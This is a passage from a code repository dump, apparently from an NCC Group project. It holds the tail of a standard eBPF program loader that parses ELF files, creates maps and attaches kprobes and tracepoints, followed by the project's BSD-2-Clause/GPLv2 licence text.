enum bpf_prog_type prog_type; 92 | char buf[256]; 93 | int fd, efd, err, id; 94 | struct perf_event_attr attr = {}; 95 | 96 | attr.type = PERF_TYPE_TRACEPOINT; 97 | attr.sample_type = PERF_SAMPLE_RAW; 98 | attr.sample_period = 1; 99 | attr.wakeup_events = 1; 100 | 101 | if (is_socket) { 102 | prog_type = BPF_PROG_TYPE_SOCKET_FILTER; 103 | } else if (is_kprobe || is_kretprobe) { 104 | prog_type = BPF_PROG_TYPE_KPROBE; 105 | } else if (is_tracepoint) { 106 | prog_type = BPF_PROG_TYPE_TRACEPOINT; 107 | } else if (is_raw_tracepoint) { 108 | prog_type = BPF_PROG_TYPE_RAW_TRACEPOINT; 109 | } else if (is_xdp) { 110 | prog_type = BPF_PROG_TYPE_XDP; 111 | } else if (is_perf_event) { 112 | prog_type = BPF_PROG_TYPE_PERF_EVENT; 113 | } else if (is_cgroup_skb) { 114 | prog_type = BPF_PROG_TYPE_CGROUP_SKB; 115 | } else if (is_cgroup_sk) { 116 | prog_type = BPF_PROG_TYPE_CGROUP_SOCK; 117 | } else if (is_sockops) { 118 | prog_type = BPF_PROG_TYPE_SOCK_OPS; 119 | } else if (is_sk_skb) { 120 | prog_type = BPF_PROG_TYPE_SK_SKB; 121 | } else if (is_sk_msg) { 122 | prog_type = BPF_PROG_TYPE_SK_MSG; 123 | } else { 124 | printf("Unknown event '%s'\n", event); 125 | return -1; 126 | } 127 | 128 | if (prog_cnt == MAX_PROGS) 129 | return -1; 130 | 131 | fd = bpf_load_program(prog_type, prog, insns_cnt, license, kern_version, 132 | bpf_log_buf, BPF_LOG_BUF_SIZE); 133 | if (fd < 0) { 134 | printf("bpf_load_program() err=%d\n%s", errno, bpf_log_buf); 135 | return -1; 136 | } 137 | 138 | prog_fd[prog_cnt++] = fd; 139 | 140 | if (is_xdp || is_perf_event || is_cgroup_skb || is_cgroup_sk) 141 | return 0; 142 | 143 | if (is_socket || is_sockops || is_sk_skb || is_sk_msg) { 144 | if (is_socket) 145 | event += 6; 146 | else 147 | event += 7; 148 | if (*event != '/') 149 | return 0; 150 | event++; 151 | if (!isdigit(*event)) { 152 | printf("invalid prog number\n"); 153 | return -1; 154 | } 155 | return populate_prog_array(event, fd); 156 | } 157 | 158 | if (is_raw_tracepoint) { 159 | efd = bpf_raw_tracepoint_open(event + 15, fd); 160 | if (efd < 0) { 161 | printf("tracepoint %s %s\n", event + 15, strerror(errno)); 162 | return -1; 163 | } 164 | event_fd[prog_cnt - 1] = efd; 165 | return 0; 166 | } 167 | 168 | if (is_kprobe || is_kretprobe) { 169 | bool need_normal_check = true; 170 | const char *event_prefix = ""; 171 | 172 | if (is_kprobe) 173 | event += 7; 174 | else 175 | event += 10; 176 | 177 | if (*event == 0) { 178 | printf("event name cannot be empty\n"); 179 | return -1; 180 | } 181 | 182 | if (isdigit(*event)) 183 | return populate_prog_array(event, fd); 184 | 185 | #ifdef __x86_64__ 186 | if (strncmp(event, "sys_", 4) == 0) { 187 | snprintf(buf, sizeof(buf), "%c:__x64_%s __x64_%s", 188 | is_kprobe ? 'p' : 'r', event, event); 189 | err = write_kprobe_events(buf); 190 | if (err >= 0) { 191 | need_normal_check = false; 192 | event_prefix = "__x64_"; 193 | } 194 | } 195 | #endif 196 | if (need_normal_check) { 197 | snprintf(buf, sizeof(buf), "%c:%s %s", 198 | is_kprobe ? 'p' : 'r', event, event); 199 | err = write_kprobe_events(buf); 200 | if (err < 0) { 201 | printf("failed to create kprobe '%s' error '%s'\n", 202 | event, strerror(errno)); 203 | return -1; 204 | } 205 | } 206 | 207 | strcpy(buf, DEBUGFS); 208 | strcat(buf, "events/kprobes/"); 209 | strcat(buf, event_prefix); 210 | strcat(buf, event); 211 | strcat(buf, "/id"); 212 | } else if (is_tracepoint) { 213 | event += 11; 214 | 215 | if (*event == 0) { 216 | printf("event name cannot be empty\n"); 217 | return -1; 218 | } 219 | strcpy(buf, DEBUGFS); 220 | strcat(buf, "events/"); 221 | strcat(buf, event); 222 | strcat(buf, "/id"); 223 | } 224 | 225 | efd = open(buf, O_RDONLY, 0); 226 | if (efd < 0) { 227 | printf("failed to open event %s\n", event); 228 | return -1; 229 | } 230 | 231 | err = read(efd, buf, sizeof(buf)); 232 | if (err < 0 || err >= sizeof(buf)) { 233 | printf("read from '%s' failed '%s'\n", event, strerror(errno)); 234 | return -1; 235 | } 236 | 237 | close(efd); 238 | 239 | buf[err] = 0; 240 | id = atoi(buf); 241 | attr.config = id; 242 | 243 | efd = sys_perf_event_open(&attr, -1/*pid*/, 0/*cpu*/, -1/*group_fd*/, 0); 244 | if (efd < 0) { 245 | printf("event %d fd %d err %s\n", id, efd, strerror(errno)); 246 | return -1; 247 | } 248 | event_fd[prog_cnt - 1] = efd; 249 | err = ioctl(efd, PERF_EVENT_IOC_ENABLE, 0); 250 | if (err < 0) { 251 | printf("ioctl PERF_EVENT_IOC_ENABLE failed err %s\n", 252 | strerror(errno)); 253 | return -1; 254 | } 255 | err = ioctl(efd, PERF_EVENT_IOC_SET_BPF, fd); 256 | if (err < 0) { 257 | printf("ioctl PERF_EVENT_IOC_SET_BPF failed err %s\n", 258 | strerror(errno)); 259 | return -1; 260 | } 261 | 262 | return 0; 263 | } 264 | 265 | static int load_maps(struct bpf_map_data *maps, int nr_maps, 266 | fixup_map_cb fixup_map) 267 | { 268 | int i, numa_node; 269 | 270 | for (i = 0; i < nr_maps; i++) { 271 | if (fixup_map) { 272 | fixup_map(&maps[i], i); 273 | /* Allow userspace to assign map FD prior to creation */ 274 | if (maps[i].fd != -1) { 275 | map_fd[i] = maps[i].fd; 276 | continue; 277 | } 278 | } 279 | 280 | numa_node = maps[i].def.map_flags & BPF_F_NUMA_NODE ? 281 | maps[i].def.numa_node : -1; 282 | 283 | if (maps[i].def.type == BPF_MAP_TYPE_ARRAY_OF_MAPS || 284 | maps[i].def.type == BPF_MAP_TYPE_HASH_OF_MAPS) { 285 | int inner_map_fd = map_fd[maps[i].def.inner_map_idx]; 286 | 287 | map_fd[i] = bpf_create_map_in_map_node(maps[i].def.type, 288 | maps[i].name, 289 | maps[i].def.key_size, 290 | inner_map_fd, 291 | maps[i].def.max_entries, 292 | maps[i].def.map_flags, 293 | numa_node); 294 | } else { 295 | map_fd[i] = bpf_create_map_node(maps[i].def.type, 296 | maps[i].name, 297 | maps[i].def.key_size, 298 | maps[i].def.value_size, 299 | maps[i].def.max_entries, 300 | maps[i].def.map_flags, 301 | numa_node); 302 | } 303 | if (map_fd[i] < 0) { 304 | printf("failed to create map %d (%s): %d %s\n", 305 | i, maps[i].name, errno, strerror(errno)); 306 | return 1; 307 | } 308 | maps[i].fd = map_fd[i]; 309 | 310 | if (maps[i].def.type == BPF_MAP_TYPE_PROG_ARRAY) 311 | prog_array_fd = map_fd[i]; 312 | } 313 | return 0; 314 | } 315 | 316 | static int get_sec(Elf *elf, int i, GElf_Ehdr *ehdr, char **shname, 317 | GElf_Shdr *shdr, Elf_Data **data) 318 | { 319 | Elf_Scn *scn; 320 | 321 | scn = elf_getscn(elf, i); 322 | if (!scn) 323 | return 1; 324 | 325 | if (gelf_getshdr(scn, shdr) != shdr) 326 | return 2; 327 | 328 | *shname = elf_strptr(elf, ehdr->e_shstrndx, shdr->sh_name); 329 | if (!*shname || !shdr->sh_size) 330 | return 3; 331 | 332 | *data = elf_getdata(scn, 0); 333 | if (!*data || elf_getdata(scn, *data) != NULL) 334 | return 4; 335 | 336 | return 0; 337 | } 338 | 339 | static int parse_relo_and_apply(Elf_Data *data, Elf_Data *symbols, 340 | GElf_Shdr *shdr, struct bpf_insn *insn, 341 | struct bpf_map_data *maps, int nr_maps) 342 | { 343 | int i, nrels; 344 | 345 | nrels = shdr->sh_size / shdr->sh_entsize; 346 | 347 | for (i = 0; i < nrels; i++) { 348 | GElf_Sym sym; 349 | GElf_Rel rel; 350 | unsigned int insn_idx; 351 | bool match = false; 352 | int map_idx; 353 | 354 | gelf_getrel(data, i, &rel); 355 | 356 | insn_idx = rel.r_offset / sizeof(struct bpf_insn); 357 | 358 | gelf_getsym(symbols, GELF_R_SYM(rel.r_info), &sym); 359 | 360 | if (insn[insn_idx].code != (BPF_LD | BPF_IMM | BPF_DW)) { 361 | printf("invalid relo for insn[%d].code 0x%x\n", 362 | insn_idx, insn[insn_idx].code); 363 | return 1; 364 | } 365 | insn[insn_idx].src_reg = BPF_PSEUDO_MAP_FD; 366 | 367 | /* Match FD relocation against recorded map_data[] offset */ 368 | for (map_idx = 0; map_idx < nr_maps; map_idx++) { 369 | if (maps[map_idx].elf_offset == sym.st_value) { 370 | match = true; 371 | break; 372 | } 373 | } 374 | if (match) { 375 | insn[insn_idx].imm = maps[map_idx].fd; 376 | } else { 377 | printf("invalid relo for insn[%d] no map_data match\n", 378 | insn_idx); 379 | return 1; 380 | } 381 | } 382 | 383 | return 0; 384 | } 385 | 386 | static int cmp_symbols(const void *l, const void *r) 387 | { 388 | const GElf_Sym *lsym = (const GElf_Sym *)l; 389 | const GElf_Sym *rsym = (const GElf_Sym *)r; 390 | 391 | if (lsym->st_value < rsym->st_value) 392 | return -1; 393 | else if (lsym->st_value > rsym->st_value) 394 | return 1; 395 | else 396 | return 0; 397 | } 398 | 399 | static int load_elf_maps_section(struct bpf_map_data *maps, int maps_shndx, 400 | Elf *elf, Elf_Data *symbols, int strtabidx) 401 | { 402 | int map_sz_elf, map_sz_copy; 403 | bool validate_zero = false; 404 | Elf_Data *data_maps; 405 | int i, nr_maps; 406 | GElf_Sym *sym; 407 | Elf_Scn *scn; 408 | 409 | if (maps_shndx < 0) 410 | return -EINVAL; 411 | if (!symbols) 412 | return -EINVAL; 413 | 414 | /* Get data for maps section via elf index */ 415 | scn = elf_getscn(elf, maps_shndx); 416 | if (scn) 417 | data_maps = elf_getdata(scn, NULL); 418 | if (!scn || !data_maps) { 419 | printf("Failed to get Elf_Data from maps section %d\n", 420 | maps_shndx); 421 | return -EINVAL; 422 | } 423 | 424 | /* For each map get corrosponding symbol table entry */ 425 | sym = calloc(MAX_MAPS+1, sizeof(GElf_Sym)); 426 | for (i = 0, nr_maps = 0; i < symbols->d_size / sizeof(GElf_Sym); i++) { 427 | assert(nr_maps < MAX_MAPS+1); 428 | if (!gelf_getsym(symbols, i, &sym[nr_maps])) 429 | continue; 430 | if (sym[nr_maps].st_shndx != maps_shndx) 431 | continue; 432 | /* Only increment iif maps section */ 433 | nr_maps++; 434 | } 435 | 436 | /* Align to map_fd[] order, via sort on offset in sym.st_value */ 437 | qsort(sym, nr_maps, sizeof(GElf_Sym), cmp_symbols); 438 | 439 | /* Keeping compatible with ELF maps section changes 440 | * ------------------------------------------------ 441 | * The program size of struct bpf_load_map_def is known by loader 442 | * code, but struct stored in ELF file can be different. 443 | * 444 | * Unfortunately sym[i].st_size is zero. To calculate the 445 | * struct size stored in the ELF file, assume all struct have 446 | * the same size, and simply divide with number of map 447 | * symbols. 448 | */ 449 | map_sz_elf = data_maps->d_size / nr_maps; 450 | map_sz_copy = sizeof(struct bpf_load_map_def); 451 | if (map_sz_elf < map_sz_copy) { 452 | /* 453 | * Backward compat, loading older ELF file with 454 | * smaller struct, keeping remaining bytes zero. 455 | */ 456 | map_sz_copy = map_sz_elf; 457 | } else if (map_sz_elf > map_sz_copy) { 458 | /* 459 | * Forward compat, loading newer ELF file with larger 460 | * struct with unknown features. Assume zero means 461 | * feature not used. Thus, validate rest of struct 462 | * data is zero. 463 | */ 464 | validate_zero = true; 465 | } 466 | 467 | /* Memcpy relevant part of ELF maps data to loader maps */ 468 | for (i = 0; i < nr_maps; i++) { 469 | struct bpf_load_map_def *def; 470 | unsigned char *addr, *end; 471 | const char *map_name; 472 | size_t offset; 473 | 474 | map_name = elf_strptr(elf, strtabidx, sym[i].st_name); 475 | maps[i].name = strdup(map_name); 476 | if (!maps[i].name) { 477 | printf("strdup(%s): %s(%d)\n", map_name, 478 | strerror(errno), errno); 479 | free(sym); 480 | return -errno; 481 | } 482 | 483 | /* Symbol value is offset into ELF maps section data area */ 484 | offset = sym[i].st_value; 485 | def = (struct bpf_load_map_def *)(data_maps->d_buf + offset); 486 | maps[i].elf_offset = offset; 487 | memset(&maps[i].def, 0, sizeof(struct bpf_load_map_def)); 488 | memcpy(&maps[i].def, def, map_sz_copy); 489 | 490 | /* Verify no newer features were requested */ 491 | if (validate_zero) { 492 | addr = (unsigned char*) def + map_sz_copy; 493 | end = (unsigned char*) def + map_sz_elf; 494 | for (; addr < end; addr++) { 495 | if (*addr != 0) { 496 | free(sym); 497 | return -EFBIG; 498 | } 499 | } 500 | } 501 | } 502 | 503 | free(sym); 504 | return nr_maps; 505 | } 506 | 507 | static int do_load_bpf_file(const char *path, fixup_map_cb fixup_map) 508 | { 509 | int fd, i, ret, maps_shndx = -1, strtabidx = -1; 510 | Elf *elf; 511 | GElf_Ehdr ehdr; 512 | GElf_Shdr shdr, shdr_prog; 513 | Elf_Data *data, *data_prog, *data_maps = NULL, *symbols = NULL; 514 | char *shname, *shname_prog; 515 | int nr_maps = 0; 516 | 517 | /* reset global variables */ 518 | kern_version = 0; 519 | memset(license, 0, sizeof(license)); 520 | memset(processed_sec, 0, sizeof(processed_sec)); 521 | 522 | if (elf_version(EV_CURRENT) == EV_NONE) 523 | return 1; 524 | 525 | fd = open(path, O_RDONLY, 0); 526 | if (fd < 0) 527 | return 1; 528 | 529 | elf = elf_begin(fd, ELF_C_READ, NULL); 530 | 531 | if (!elf) 532 | return 1; 533 | 534 | if (gelf_getehdr(elf, &ehdr) != &ehdr) 535 | return 1; 536 | 537 | /* clear all kprobes */ 538 | i = write_kprobe_events(""); 539 | 540 | /* scan over all elf sections to get license and map info */ 541 | for (i = 1; i < ehdr.e_shnum; i++) { 542 | 543 | if (get_sec(elf, i, &ehdr, &shname, &shdr, &data)) 544 | continue; 545 | 546 | if (0) /* helpful for llvm debugging */ 547 | printf("section %d:%s data %p size %zd link %d flags %d\n", 548 | i, shname, data->d_buf, data->d_size, 549 | shdr.sh_link, (int) shdr.sh_flags); 550 | 551 | if (strcmp(shname, "license") == 0) { 552 | processed_sec[i] = true; 553 | memcpy(license, data->d_buf, data->d_size); 554 | } else if (strcmp(shname, "version") == 0) { 555 | processed_sec[i] = true; 556 | if (data->d_size != sizeof(int)) { 557 | printf("invalid size of version section %zd\n", 558 | data->d_size); 559 | return 1; 560 | } 561 | memcpy(&kern_version, data->d_buf, sizeof(int)); 562 | } else if (strcmp(shname, "maps") == 0) { 563 | int j; 564 | 565 | maps_shndx = i; 566 | data_maps = data; 567 | for (j = 0; j < MAX_MAPS; j++) 568 | map_data[j].fd = -1; 569 | } else if (shdr.sh_type == SHT_SYMTAB) { 570 | strtabidx = shdr.sh_link; 571 | symbols = data; 572 | } 573 | } 574 | 575 | ret = 1; 576 | 577 | if (!symbols) { 578 | printf("missing SHT_SYMTAB section\n"); 579 | goto done; 580 | } 581 | 582 | if (data_maps) { 583 | nr_maps = load_elf_maps_section(map_data, maps_shndx, 584 | elf, symbols, strtabidx); 585 | if (nr_maps < 0) { 586 | printf("Error: Failed loading ELF maps (errno:%d):%s\n", 587 | nr_maps, strerror(-nr_maps)); 588 | goto done; 589 | } 590 | if (load_maps(map_data, nr_maps, fixup_map)) 591 | goto done; 592 | map_data_count = nr_maps; 593 | 594 | processed_sec[maps_shndx] = true; 595 | } 596 | 597 | /* process all relo sections, and rewrite bpf insns for maps */ 598 | for (i = 1; i < ehdr.e_shnum; i++) { 599 | if (processed_sec[i]) 600 | continue; 601 | 602 | if (get_sec(elf, i, &ehdr, &shname, &shdr, &data)) 603 | continue; 604 | 605 | if (shdr.sh_type == SHT_REL) { 606 | struct bpf_insn *insns; 607 | 608 | /* locate prog sec that need map fixup (relocations) */ 609 | if (get_sec(elf, shdr.sh_info, &ehdr, &shname_prog, 610 | &shdr_prog, &data_prog)) 611 | continue; 612 | 613 | if (shdr_prog.sh_type != SHT_PROGBITS || 614 | !(shdr_prog.sh_flags & SHF_EXECINSTR)) 615 | continue; 616 | 617 | insns = (struct bpf_insn *) data_prog->d_buf; 618 | processed_sec[i] = true; /* relo section */ 619 | 620 | if (parse_relo_and_apply(data, symbols, &shdr, insns, 621 | map_data, nr_maps)) 622 | continue; 623 | } 624 | } 625 | 626 | /* load programs */ 627 | for (i = 1; i < ehdr.e_shnum; i++) { 628 | 629 | if (processed_sec[i]) 630 | continue; 631 | 632 | if (get_sec(elf, i, &ehdr, &shname, &shdr, &data)) 633 | continue; 634 | 635 | if (memcmp(shname, "kprobe/", 7) == 0 || 636 | memcmp(shname, "kretprobe/", 10) == 0 || 637 | memcmp(shname, "tracepoint/", 11) == 0 || 638 | memcmp(shname, "raw_tracepoint/", 15) == 0 || 639 | memcmp(shname, "xdp", 3) == 0 || 640 | memcmp(shname, "perf_event", 10) == 0 || 641 | memcmp(shname, "socket", 6) == 0 || 642 | memcmp(shname, "cgroup/", 7) == 0 || 643 | memcmp(shname, "sockops", 7) == 0 || 644 | memcmp(shname, "sk_skb", 6) == 0 || 645 | memcmp(shname, "sk_msg", 6) == 0) { 646 | ret = load_and_attach(shname, data->d_buf, 647 | data->d_size); 648 | if (ret != 0) 649 | goto done; 650 | } 651 | } 652 | 653 | done: 654 | close(fd); 655 | return ret; 656 | } 657 | 658 | int load_bpf_file(char *path) 659 | { 660 | return do_load_bpf_file(path, NULL); 661 | } 662 | 663 | int load_bpf_file_fixup_map(const char *path, fixup_map_cb fixup_map) 664 | { 665 | return do_load_bpf_file(path, fixup_map); 666 | } 667 | 668 | void read_trace_pipe(void) 669 | { 670 | int trace_fd; 671 | 672 | trace_fd = open(DEBUGFS "trace_pipe", O_RDONLY, 0); 673 | if (trace_fd < 0) 674 | return; 675 | 676 | while (1) { 677 | static char buf[4096]; 678 | ssize_t sz; 679 | 680 | sz = read(trace_fd, buf, sizeof(buf)); 681 | if (sz > 0) { 682 | buf[sz] = 0; 683 | puts(buf); 684 | } 685 | } 686 | } 687 | -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | Copyright (c) 2019-2021 NCC Group Security Services, Inc. All rights reserved. 2 | 3 | All code is dual licensed under BSD-2-Clause/GPLv2-only unless otherwise noted. 4 | 5 | =============================================================================== 6 | Valid-License-Identifier: BSD-2-Clause 7 | SPDX-URL: https://spdx.org/licenses/BSD-2-Clause.html 8 | Usage-Guide: 9 | To use the BSD 2-clause "Simplified" License put the following SPDX 10 | tag/value pair into a comment according to the placement guidelines in 11 | the licensing rules documentation: 12 | SPDX-License-Identifier: BSD-2-Clause 13 | License-Text: 14 | 15 | Copyright (c) 2019-2021 NCC Group Security Services, Inc. All rights reserved. 16 | 17 | Redistribution and use in source and binary forms, with or without 18 | modification, are permitted provided that the following conditions are met: 19 | 20 | 1. Redistributions of source code must retain the above copyright notice, 21 | this list of conditions and the following disclaimer. 22 | 23 | 2. Redistributions in binary form must reproduce the above copyright 24 | notice, this list of conditions and the following disclaimer in the 25 | documentation and/or other materials provided with the distribution. 26 | 27 | THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" 28 | AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE 29 | IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE 30 | ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE 31 | LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR 32 | CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF 33 | SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS 34 | INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN 35 | CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) 36 | ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE 37 | POSSIBILITY OF SUCH DAMAGE. 38 | =============================================================================== 39 | 40 | Valid-License-Identifier: GPL-2.0-only 41 | SPDX-URL: https://spdx.org/licenses/GPL-2.0.html 42 | Usage-Guide: 43 | To use this license in source code, put one of the following SPDX 44 | tag/value pairs into a comment according to the placement 45 | guidelines in the licensing rules documentation. 46 | For 'GNU General Public License (GPL) version 2 only' use: 47 | SPDX-License-Identifier: GPL-2.0 48 | or 49 | SPDX-License-Identifier: GPL-2.0-only 50 | License-Text: 51 | 52 | GNU GENERAL PUBLIC LICENSE 53 | Version 2, June 1991 54 | 55 | Copyright (C) 1989, 1991 Free Software Foundation, Inc. 56 | 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA 57 | Everyone is permitted to copy and distribute verbatim copies 58 | of this license document, but changing it is not allowed. 59 | 60 | Preamble 61 | 62 | The licenses for most software are designed to take away your 63 | freedom to share and change it. By contrast, the GNU General Public 64 | License is intended to guarantee your freedom to share and change free 65 | software--to make sure the software is free for all its users. This 66 | General Public License applies to most of the Free Software 67 | Foundation's software and to any other program whose authors commit to 68 | using it. (Some other Free Software Foundation software is covered by 69 | the GNU Library General Public License instead.) You can apply it to 70 | your programs, too. 71 | 72 | When we speak of free software, we are referring to freedom, not 73 | price. Our General Public Licenses are designed to make sure that you 74 | have the freedom to distribute copies of free software (and charge for 75 | this service if you wish), that you receive source code or can get it 76 | if you want it, that you can change the software or use pieces of it 77 | in new free programs; and that you know you can do these things. 78 | 79 | To protect your rights, we need to make restrictions that forbid 80 | anyone to deny you these rights or to ask you to surrender the rights. 81 | These restrictions translate to certain responsibilities for you if you 82 | distribute copies of the software, or if you modify it. 83 | 84 | For example, if you distribute copies of such a program, whether 85 | gratis or for a fee, you must give the recipients all the rights that 86 | you have. You must make sure that they, too, receive or can get the 87 | source code. And you must show them these terms so they know their 88 | rights. 89 | 90 | We protect your rights with two steps: (1) copyright the software, and 91 | (2) offer you this license which gives you legal permission to copy, 92 | distribute and/or modify the software. 93 | 94 | Also, for each author's protection and ours, we want to make certain 95 | that everyone understands that there is no warranty for this free 96 | software. If the software is modified by someone else and passed on, we 97 | want its recipients to know that what they have is not the original, so 98 | that any problems introduced by others will not reflect on the original 99 | authors' reputations. 100 | 101 | Finally, any free program is threatened constantly by software 102 | patents. We wish to avoid the danger that redistributors of a free 103 | program will individually obtain patent licenses, in effect making the 104 | program proprietary. To prevent this, we have made it clear that any 105 | patent must be licensed for everyone's free use or not licensed at all. 106 | 107 | The precise terms and conditions for copying, distribution and 108 | modification follow. 109 | 110 | GNU GENERAL PUBLIC LICENSE 111 | TERMS AND CONDITIONS FOR COPYING, DISTRIBUTION AND MODIFICATION 112 | 113 | 0. This License applies to any program or other work which contains 114 | a notice placed by the copyright holder saying it may be distributed 115 | under the terms of this General Public License. The "Program", below, 116 | refers to any such program or work, and a "work based on the Program" 117 | means either the Program or any derivative work under copyright law: 118 | that is to say, a work containing the Program or a portion of it, 119 | either verbatim or with modifications and/or translated into another 120 | language. (Hereinafter, translation is included without limitation in 121 | the term "modification".) Each licensee is addressed as "you". 122 | 123 | Activities other than copying, distribution and modification are not 124 | covered by this License; they are outside its scope. The act of 125 | running the Program is not restricted, and the output from the Program 126 | is covered only if its contents constitute a work based on the 127 | Program (independent of having been made by running the Program). 128 | Whether that is true depends on what the Program does. 129 | 130 | 1. You may copy and distribute verbatim copies of the Program's 131 | source code as you receive it, in any medium, provided that you 132 | conspicuously and appropriately publish on each copy an appropriate 133 | copyright notice and disclaimer of warranty; keep intact all the 134 | notices that refer to this License and to the absence of any warranty; 135 | and give any other recipients of the Program a copy of this License 136 | along with the Program. 137 | 138 | You may charge a fee for the physical act of transferring a copy, and 139 | you may at your option offer warranty protection in exchange for a fee. 140 | 141 | 2. You may modify your copy or copies of the Program or any portion 142 | of it, thus forming a work based on the Program, and copy and 143 | distribute such modifications or work under the terms of Section 1 144 | above, provided that you also meet all of these conditions: 145 | 146 | a) You must cause the modified files to carry prominent notices 147 | stating that you changed the files and the date of any change. 148 | 149 | b) You must cause any work that you distribute or publish, that in 150 | whole or in part contains or is derived from the Program or any 151 | part thereof, to be licensed as a whole at no charge to all third 152 | parties under the terms of this License. 153 | 154 | c) If the modified program normally reads commands interactively 155 | when run, you must cause it, when started running for such 156 | interactive use in the most ordinary way, to print or display an 157 | announcement including an appropriate copyright notice and a 158 | notice that there is no warranty (or else, saying that you provide 159 | a warranty) and that users may redistribute the program under 160 | these conditions, and telling the user how to view a copy of this 161 | License. (Exception: if the Program itself is interactive but 162 | does not normally print such an announcement, your work based on 163 | the Program is not required to print an announcement.) 164 | 165 | These requirements apply to the modified work as a whole. If 166 | identifiable sections of that work are not derived from the Program, 167 | and can be reasonably considered independent and separate works in 168 | themselves, then this License, and its terms, do not apply to those 169 | sections when you distribute them as separate works. But when you 170 | distribute the same sections as part of a whole which is a work based 171 | on the Program, the distribution of the whole must be on the terms of 172 | this License, whose permissions for other licensees extend to the 173 | entire whole, and thus to each and every part regardless of who wrote it. 174 | 175 | Thus, it is not the intent of this section to claim rights or contest 176 | your rights to work written entirely by you; rather, the intent is to 177 | exercise the right to control the distribution of derivative or 178 | collective works based on the Program. 179 | 180 | In addition, mere aggregation of another work not based on the Program 181 | with the Program (or with a work based on the Program) on a volume of 182 | a storage or distribution medium does not bring the other work under 183 | the scope of this License. 184 | 185 | 3. You may copy and distribute the Program (or a work based on it, 186 | under Section 2) in object code or executable form under the terms of 187 | Sections 1 and 2 above provided that you also do one of the following: 188 | 189 | a) Accompany it with the complete corresponding machine-readable 190 | source code, which must be distributed under the terms of Sections 191 | 1 and 2 above on a medium customarily used for software interchange; or, 192 | 193 | b) Accompany it with a written offer, valid for at least three 194 | years, to give any third party, for a charge no more than your 195 | cost of physically performing source distribution, a complete 196 | machine-readable copy of the corresponding source code, to be 197 | distributed under the terms of Sections 1 and 2 above on a medium 198 | customarily used for software interchange; or, 199 | 200 | c) Accompany it with the information you received as to the offer 201 | to distribute corresponding source code. (This alternative is 202 | allowed only for noncommercial distribution and only if you 203 | received the program in object code or executable form with such 204 | an offer, in accord with Subsection b above.) 205 | 206 | The source code for a work means the preferred form of the work for 207 | making modifications to it. For an executable work, complete source 208 | code means all the source code for all modules it contains, plus any 209 | associated interface definition files, plus the scripts used to 210 | control compilation and installation of the executable. However, as a 211 | special exception, the source code distributed need not include 212 | anything that is normally distributed (in either source or binary 213 | form) with the major components (compiler, kernel, and so on) of the 214 | operating system on which the executable runs, unless that component 215 | itself accompanies the executable. 216 | 217 | If distribution of executable or object code is made by offering 218 | access to copy from a designated place, then offering equivalent 219 | access to copy the source code from the same place counts as 220 | distribution of the source code, even though third parties are not 221 | compelled to copy the source along with the object code. 222 | 223 | 4. You may not copy, modify, sublicense, or distribute the Program 224 | except as expressly provided under this License. Any attempt 225 | otherwise to copy, modify, sublicense or distribute the Program is 226 | void, and will automatically terminate your rights under this License. 227 | However, parties who have received copies, or rights, from you under 228 | this License will not have their licenses terminated so long as such 229 | parties remain in full compliance. 230 | 231 | 5. You are not required to accept this License, since you have not 232 | signed it. However, nothing else grants you permission to modify or 233 | distribute the Program or its derivative works. These actions are 234 | prohibited by law if you do not accept this License. Therefore, by 235 | modifying or distributing the Program (or any work based on the 236 | Program), you indicate your acceptance of this License to do so, and 237 | all its terms and conditions for copying, distributing or modifying 238 | the Program or works based on it. 239 | 240 | 6. Each time you redistribute the Program (or any work based on the 241 | Program), the recipient automatically receives a license from the 242 | original licensor to copy, distribute or modify the Program subject to 243 | these terms and conditions. You may not impose any further 244 | restrictions on the recipients' exercise of the rights granted herein. 245 | You are not responsible for enforcing compliance by third parties to 246 | this License. 247 | 248 | 7. If, as a consequence of a court judgment or allegation of patent 249 | infringement or for any other reason (not limited to patent issues), 250 | conditions are imposed on you (whether by court order, agreement or 251 | otherwise) that contradict the conditions of this License, they do not 252 | excuse you from the conditions of this License. If you cannot 253 | distribute so as to satisfy simultaneously your obligations under this 254 | License and any other pertinent obligations, then as a consequence you 255 | may not distribute the Program at all. For example, if a patent 256 | license would not permit royalty-free redistribution of the Program by 257 | all those who receive copies directly or indirectly through you, then 258 | the only way you could satisfy both it and this License would be to 259 | refrain entirely from distribution of the Program. 260 | 261 | If any portion of this section is held invalid or unenforceable under 262 | any particular circumstance, the balance of the section is intended to 263 | apply and the section as a whole is intended to apply in other 264 | circumstances. 265 | 266 | It is not the purpose of this section to induce you to infringe any 267 | patents or other property right claims or to contest validity of any 268 | such claims; this section has the sole purpose of protecting the 269 | integrity of the free software distribution system, which is 270 | implemented by public license practices. Many people have made 271 | generous contributions to the wide range of software distributed 272 | through that system in reliance on consistent application of that 273 | system; it is up to the author/donor to decide if he or she is willing 274 | to distribute software through any other system and a licensee cannot 275 | impose that choice. 276 | 277 | This section is intended to make thoroughly clear what is believed to 278 | be a consequence of the rest of this License. 279 | 280 | 8. If the distribution and/or use of the Program is restricted in 281 | certain countries either by patents or by copyrighted interfaces, the 282 | original copyright holder who places the Program under this License 283 | may add an explicit geographical distribution limitation excluding 284 | those countries, so that distribution is permitted only in or among 285 | countries not thus excluded. In such case, this License incorporates 286 | the limitation as if written in the body of this License. 287 | 288 | 9. The Free Software Foundation may publish revised and/or new versions 289 | of the General Public License from time to time. Such new versions will 290 | be similar in spirit to the present version, but may differ in detail to 291 | address new problems or concerns. 292 | 293 | Each version is given a distinguishing version number. If the Program 294 | specifies a version number of this License which applies to it and "any 295 | later version", you have the option of following the terms and conditions 296 | either of that version or of any later version published by the Free 297 | Software Foundation. If the Program does not specify a version number of 298 | this License, you may choose any version ever published by the Free Software 299 | Foundation. 300 | 301 